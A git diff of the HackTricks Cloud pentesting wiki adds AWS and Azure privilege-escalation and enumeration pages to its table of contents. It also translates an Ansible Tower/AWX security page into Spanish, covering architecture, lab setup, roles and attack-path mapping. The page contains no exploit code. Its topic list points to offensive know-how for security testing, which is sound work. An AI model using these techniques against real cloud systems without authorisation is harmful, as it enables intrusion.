- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md)
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md)
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md)
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md)
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md)
- [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
- [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
- [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
@@ -335,6 +373,7 @@
- [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
- [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
- [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
- [AWS - Bedrock Enum](pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md)
- [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
- [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
- [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
@@ -345,7 +384,7 @@
- [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
- [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
- [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md)
- [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
- [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
- [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
@@ -370,6 +409,7 @@
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
- [AWS - SageMaker Enum](pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md)
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
@@ -379,31 +419,32 @@
- [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
- [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
- [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md)
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md)
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md)
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md)
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md)
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md)
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md)
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md)
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md)
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md)
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md)
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md)
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md)
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md)
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md)
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md)
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md)
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md)
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md)
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
- [AWS - SageMaker Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md)
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
@@ -423,6 +464,7 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - AI Foundry](pentesting-cloud/azure-security/az-services/az-ai-foundry.md)
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
- [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md)
@@ -482,6 +524,7 @@
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)

View File

@@ -1,18 +1,14 @@
> [!TIP]
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
> <summary>Apoya a HackTricks</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
>
> </details>

Binary file not shown.

Binary file not shown.

View File

@@ -1,63 +1,62 @@
# Ansible Tower / AWX / Automation controller Security
# Ansible Tower / AWX / Seguridad del controlador de automatización
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Información Básica
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansibles user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Towers REST API and command-line interface make it simple to integrate it into current tools and workflows.
**Ansible Tower** o su versión de código abierto [**AWX**](https://github.com/ansible/awx) también se conoce como **la interfaz de usuario, el panel de control y la API REST de Ansible**. Con **control de acceso basado en roles**, programación de trabajos y gestión gráfica de inventarios, puedes gestionar tu infraestructura de Ansible desde una interfaz moderna. La API REST de Tower y la interfaz de línea de comandos facilitan su integración en herramientas y flujos de trabajo actuales.
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
**El Controlador de Automatización es una versión** más nueva de Ansible Tower con más capacidades.
### Differences
### Diferencias
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
Según [**esto**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), las principales diferencias entre Ansible Tower y AWX son el soporte recibido y que Ansible Tower tiene características adicionales como control de acceso basado en roles, soporte para APIs personalizadas y flujos de trabajo definidos por el usuario.
### Tech Stack
### Stack Tecnológico
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
- **Redis**: Redis serves as a cache and a backend for the task queue.
- **Interfaz Web**: Esta es la interfaz gráfica donde los usuarios pueden gestionar inventarios, credenciales, plantillas y trabajos. Está diseñada para ser intuitiva y proporciona visualizaciones para ayudar a entender el estado y los resultados de tus trabajos de automatización.
- **API REST**: Todo lo que puedes hacer en la interfaz web, también puedes hacerlo a través de la API REST. Esto significa que puedes integrar AWX/Tower con otros sistemas o script acciones que normalmente realizarías en la interfaz.
- **Base de Datos**: AWX/Tower utiliza una base de datos (típicamente PostgreSQL) para almacenar su configuración, resultados de trabajos y otros datos operativos necesarios.
- **RabbitMQ**: Este es el sistema de mensajería utilizado por AWX/Tower para comunicarse entre los diferentes componentes, especialmente entre el servicio web y los ejecutores de tareas.
- **Redis**: Redis sirve como caché y backend para la cola de tareas.
### Logical Components
### Componentes Lógicos
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
- **Inventarios**: Un inventario es una **colección de hosts (o nodos)** contra los cuales se pueden **ejecutar trabajos** (playbooks de Ansible). AWX/Tower te permite definir y agrupar tus inventarios y también admite inventarios dinámicos que pueden **obtener listas de hosts de otros sistemas** como AWS, Azure, etc.
- **Proyectos**: Un proyecto es esencialmente una **colección de playbooks de Ansible** obtenidos de un **sistema de control de versiones** (como Git) para extraer los últimos playbooks cuando sea necesario.
- **Plantillas**: Las plantillas de trabajo definen **cómo se ejecutará un playbook en particular**, especificando el **inventario**, **credenciales** y otros **parámetros** para el trabajo.
- **Credenciales**: AWX/Tower proporciona una forma segura de **gestionar y almacenar secretos, como claves SSH, contraseñas y tokens de API**. Estas credenciales pueden asociarse con plantillas de trabajo para que los playbooks tengan el acceso necesario cuando se ejecuten.
- **Motor de Tareas**: Aquí es donde ocurre la magia. El motor de tareas está construido sobre Ansible y es responsable de **ejecutar los playbooks**. Los trabajos se envían al motor de tareas, que luego ejecuta los playbooks de Ansible contra el inventario designado utilizando las credenciales especificadas.
- **Programadores y Retornos de Llamada**: Estas son características avanzadas en AWX/Tower que permiten **programar trabajos** para que se ejecuten en momentos específicos o se activen por eventos externos.
- **Notificaciones**: AWX/Tower puede enviar notificaciones basadas en el éxito o fracaso de los trabajos. Soporta varios medios de notificación como correos electrónicos, mensajes de Slack, webhooks, etc.
- **Playbooks de Ansible**: Los playbooks de Ansible son herramientas de configuración, implementación y orquestación. Describen el estado deseado de los sistemas de manera automatizada y repetible. Escritos en YAML, los playbooks utilizan el lenguaje de automatización declarativa de Ansible para describir configuraciones, tareas y pasos que deben ejecutarse.
### Job Execution Flow
### Flujo de Ejecución de Trabajos
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
2. **Job Initiation**:
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
3. **Job Queuing**:
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
4. **Job Execution**:
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
5. **Job Results**:
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
- Users can then view the results through the Web Interface or query them via the REST API.
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
6. **External Systems Integration**:
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
1. **Interacción del Usuario**: Un usuario puede interactuar con AWX/Tower a través de la **Interfaz Web** o la **API REST**. Estas proporcionan acceso frontal a todas las funcionalidades ofrecidas por AWX/Tower.
2. **Inicio del Trabajo**:
- El usuario, a través de la Interfaz Web o API, inicia un trabajo basado en una **Plantilla de Trabajo**.
- La Plantilla de Trabajo incluye referencias al **Inventario**, **Proyecto** (que contiene el playbook) y **Credenciales**.
- Al iniciar el trabajo, se envía una solicitud al backend de AWX/Tower para poner en cola el trabajo para su ejecución.
3. **Colocación en Cola del Trabajo**:
- **RabbitMQ** maneja la mensajería entre el componente web y los ejecutores de tareas. Una vez que se inicia un trabajo, se envía un mensaje al motor de tareas utilizando RabbitMQ.
- **Redis** actúa como el backend para la cola de tareas, gestionando los trabajos en cola que esperan ejecución.
4. **Ejecución del Trabajo**:
- El **Motor de Tareas** recoge el trabajo en cola. Recupera la información necesaria de la **Base de Datos** sobre el playbook asociado al trabajo, inventario y credenciales.
- Usando el playbook de Ansible recuperado del **Proyecto** asociado, el Motor de Tareas ejecuta el playbook contra los nodos de **Inventario** especificados utilizando las **Credenciales** proporcionadas.
- A medida que se ejecuta el playbook, su salida de ejecución (registros, hechos, etc.) se captura y almacena en la **Base de Datos**.
5. **Resultados del Trabajo**:
- Una vez que el playbook termina de ejecutarse, los resultados (éxito, fracaso, registros) se guardan en la **Base de Datos**.
- Los usuarios pueden ver los resultados a través de la Interfaz Web o consultarlos a través de la API REST.
- Según los resultados del trabajo, se pueden enviar **Notificaciones** para informar a los usuarios o sistemas externos sobre el estado del trabajo. Las notificaciones pueden ser correos electrónicos, mensajes de Slack, webhooks, etc.
6. **Integración con Sistemas Externos**:
- **Inventarios** pueden ser obtenidos dinámicamente de sistemas externos, permitiendo que AWX/Tower extraiga hosts de fuentes como AWS, Azure, VMware y más.
- **Proyectos** (playbooks) pueden ser extraídos de sistemas de control de versiones, asegurando el uso de playbooks actualizados durante la ejecución del trabajo.
- **Programadores y Retornos de Llamada** pueden ser utilizados para integrarse con otros sistemas o herramientas, haciendo que AWX/Tower reaccione a disparadores externos o ejecute trabajos en momentos predeterminados.
### AWX lab creation for testing
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
### Creación de laboratorio AWX para pruebas
[**Siguiendo la documentación**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) es posible usar docker-compose para ejecutar AWX:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -83,79 +82,78 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
# Load demo data
docker exec tools_awx_1 awx-manage create_preload_data
```
## RBAC
### Supported roles
### Roles soportados
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
El rol más privilegiado se llama **Administrador del Sistema**. Cualquiera con este rol puede **modificar cualquier cosa**.
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
Desde una revisión de **seguridad de caja blanca**, necesitarías el **rol de Auditor del Sistema**, que permite **ver todos los datos del sistema** pero no puede hacer ningún cambio. Otra opción sería obtener el **rol de Auditor de la Organización**, pero sería mejor obtener el otro.
<details>
<summary>Expand this to get detailed description of available roles</summary>
<summary>Expande esto para obtener una descripción detallada de los roles disponibles</summary>
1. **System Administrator**:
- This is the superuser role with permissions to access and modify any resource in the system.
- They can manage all organizations, teams, projects, inventories, job templates, etc.
2. **System Auditor**:
- Users with this role can view all system data but cannot make any changes.
- This role is designed for compliance and oversight.
3. **Organization Roles**:
- **Admin**: Full control over the organization's resources.
- **Auditor**: View-only access to the organization's resources.
- **Member**: Basic membership in an organization without any specific permissions.
- **Execute**: Can run job templates within the organization.
- **Read**: Can view the organizations resources.
4. **Project Roles**:
- **Admin**: Can manage and modify the project.
- **Use**: Can use the project in a job template.
- **Update**: Can update project using SCM (source control).
5. **Inventory Roles**:
- **Admin**: Can manage and modify the inventory.
- **Ad Hoc**: Can run ad hoc commands on the inventory.
- **Update**: Can update the inventory source.
- **Use**: Can use the inventory in a job template.
- **Read**: View-only access.
6. **Job Template Roles**:
- **Admin**: Can manage and modify the job template.
- **Execute**: Can run the job.
- **Read**: View-only access.
7. **Credential Roles**:
- **Admin**: Can manage and modify the credentials.
- **Use**: Can use the credentials in job templates or other relevant resources.
- **Read**: View-only access.
8. **Team Roles**:
- **Member**: Part of the team but without any specific permissions.
- **Admin**: Can manage the team's members and associated resources.
9. **Workflow Roles**:
- **Admin**: Can manage and modify the workflow.
- **Execute**: Can run the workflow.
- **Read**: View-only access.
1. **Administrador del Sistema**:
- Este es el rol de superusuario con permisos para acceder y modificar cualquier recurso en el sistema.
- Pueden gestionar todas las organizaciones, equipos, proyectos, inventarios, plantillas de trabajo, etc.
2. **Auditor del Sistema**:
- Los usuarios con este rol pueden ver todos los datos del sistema pero no pueden hacer ningún cambio.
- Este rol está diseñado para cumplimiento y supervisión.
3. **Roles de Organización**:
- **Admin**: Control total sobre los recursos de la organización.
- **Auditor**: Acceso solo de lectura a los recursos de la organización.
- **Member**: Membresía básica en una organización sin permisos específicos.
- **Execute**: Puede ejecutar plantillas de trabajo dentro de la organización.
- **Read**: Puede ver los recursos de la organización.
4. **Roles de Proyecto**:
- **Admin**: Puede gestionar y modificar el proyecto.
- **Use**: Puede usar el proyecto en una plantilla de trabajo.
- **Update**: Puede actualizar el proyecto usando SCM (control de versiones).
5. **Roles de Inventario**:
- **Admin**: Puede gestionar y modificar el inventario.
- **Ad Hoc**: Puede ejecutar comandos ad hoc en el inventario.
- **Update**: Puede actualizar la fuente del inventario.
- **Use**: Puede usar el inventario en una plantilla de trabajo.
- **Read**: Acceso solo de lectura.
6. **Roles de Plantilla de Trabajo**:
- **Admin**: Puede gestionar y modificar la plantilla de trabajo.
- **Execute**: Puede ejecutar el trabajo.
- **Read**: Acceso solo de lectura.
7. **Roles de Credenciales**:
- **Admin**: Puede gestionar y modificar las credenciales.
- **Use**: Puede usar las credenciales en plantillas de trabajo u otros recursos relevantes.
- **Read**: Acceso solo de lectura.
8. **Roles de Equipo**:
- **Member**: Parte del equipo pero sin permisos específicos.
- **Admin**: Puede gestionar los miembros del equipo y los recursos asociados.
9. **Roles de Flujo de Trabajo**:
- **Admin**: Puede gestionar y modificar el flujo de trabajo.
- **Execute**: Puede ejecutar el flujo de trabajo.
- **Read**: Acceso solo de lectura.
</details>
## Enumeration & Attack-Path Mapping with AnsibleHound
## Enumeración y Mapeo de Ruta de Ataque con AnsibleHound
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
